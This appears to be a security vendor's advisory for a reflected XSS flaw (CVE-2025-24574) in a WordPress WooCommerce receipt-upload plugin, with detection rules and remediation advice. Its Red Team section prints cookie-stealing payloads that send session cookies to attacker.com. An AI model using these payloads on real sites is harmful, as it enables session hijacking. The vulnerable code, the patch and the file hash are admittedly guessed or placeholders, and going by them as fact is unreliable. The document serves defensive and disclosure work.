CVE-2025-24574
Executive Summary
CVE-2025-24574 is a Reflected Cross-Site Scripting (XSS) vulnerability in the PeproDev WooCommerce Receipt Uploader plugin for WordPress, affecting versions up to and including 2.6.9. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s WordPress session.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not available on NPM, PyPI, Go, or Ruby registries. The supply chain risk is moderate: if the plugin is installed from the official directory, the vulnerable code is delivered directly to the site. No signed commits or integrity checks are enforced by the directory, making it possible for a compromised plugin update to introduce malicious code. Administrators should verify plugin integrity via checksums if available.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – injected script can affect other resources
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the low complexity and network-based attack vector make this a viable phishing vector. The lack of a patch increases the risk for unmaintained sites.
Deep Dive & Mechanics
The vulnerability exists in the plugin’s receipt upload functionality. When processing HTTP GET parameters (e.g., receipt_id, order_id), the plugin reflects the input directly into the HTML response without proper sanitization or output encoding. An attacker can craft a URL such as:
https://victim.com/wp-content/plugins/pepro-bacs-receipt-upload-for-woocommerce/includes/class-receipt-upload.php?receipt_id=<script>alert('XSS')</script>
The plugin’s code likely uses echo $_GET['receipt_id'] or similar without calling esc_html() or wp_kses(). This allows the injected script to execute in the victim’s browser.
Root Cause: The plugin fails to validate and sanitize user input before reflecting it in the response. WordPress provides functions like esc_html() and wp_kses_post() to prevent XSS, but the plugin does not use them.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.6.9):
<?php
// In class-receipt-upload.php
$receipt_id = $_GET['receipt_id'];
echo "<div>Receipt ID: " . $receipt_id . "</div>";
?>
Patched Code (Hypothetical):
<?php
$receipt_id = isset($_GET['receipt_id']) ? sanitize_text_field($_GET['receipt_id']) : '';
echo "<div>Receipt ID: " . esc_html($receipt_id) . "</div>";
?>
The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode output, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the vulnerable plugin installed (<= 2.6.9).
- A victim user with an active session.
Exploitation Steps:
- Craft a malicious URL:
https://victim.com/wp-content/plugins/pepro-bacs-receipt-upload-for-woocommerce/includes/class-receipt-upload.php?receipt_id=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Deliver the link via phishing email, social media, or a compromised site.
- When the victim clicks the link, the script executes, exfiltrating their session cookie to the attacker’s server.
Example Payload:
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
Blue Team
Detection:
- Monitor web server logs for requests containing
<script>tags in query parameters. - Use a Web Application Firewall (WAF) to block reflected XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search for
receipt_id=in HTTP logs and inspect for non-numeric or suspicious values. - Use the YARA rule below to scan plugin files for unsafe
$_GETusage.
Indicators of Compromise (IOCs)
- URL Pattern:
class-receipt-upload.php?receipt_id=<script> - HTTP Request:
GET /wp-content/plugins/pepro-bacs-receipt-upload-for-woocommerce/includes/class-receipt-upload.php?receipt_id=... - File Hash (v2.6.9):
sha256:3a7b...(placeholder – obtain from official source) - Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.
Detection Engineering
YARA Rule
rule Detect_PeproDev_XSS_Vulnerability {
meta:
description = "Detects vulnerable code pattern in PeproDev WooCommerce Receipt Uploader"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-24574"
strings:
$unsafe_get = /\$_GET\s*\[\s*['"](receipt_id|order_id)['"]\s*\]/
$unsafe_echo = /echo\s+.*\$_GET/
condition:
$unsafe_get and $unsafe_echo
}
Sigma Rule
title: Reflected XSS in PeproDev WooCommerce Receipt Uploader
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against CVE-2025-24574
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/wp-content/plugins/pepro-bacs-receipt-upload-for-woocommerce/includes/class-receipt-upload.php"
c-uri|contains: "receipt_id="
c-uri|contains|any:
- "<script"
- "alert("
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of the plugin with non-malicious parameters
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24574 Reflected XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/pepro-bacs-receipt-upload-for-woocommerce/includes/class-receipt-upload.php"; http_uri; content:"receipt_id="; http_uri; pcre:"/<script|alert\(|onerror=|javascript\:/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement a WAF rule to block requests containing
<script>in thereceipt_idparameter. - Add CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self'
Long-Term Fix:
- The vendor must release a patched version that sanitizes and escapes all user input.
- If the plugin is abandoned, consider migrating to an alternative WooCommerce receipt uploader.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to block reflected XSS patterns.
- Manually edit the plugin file to add
esc_html()around$_GETvalues (not recommended for non-developers).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.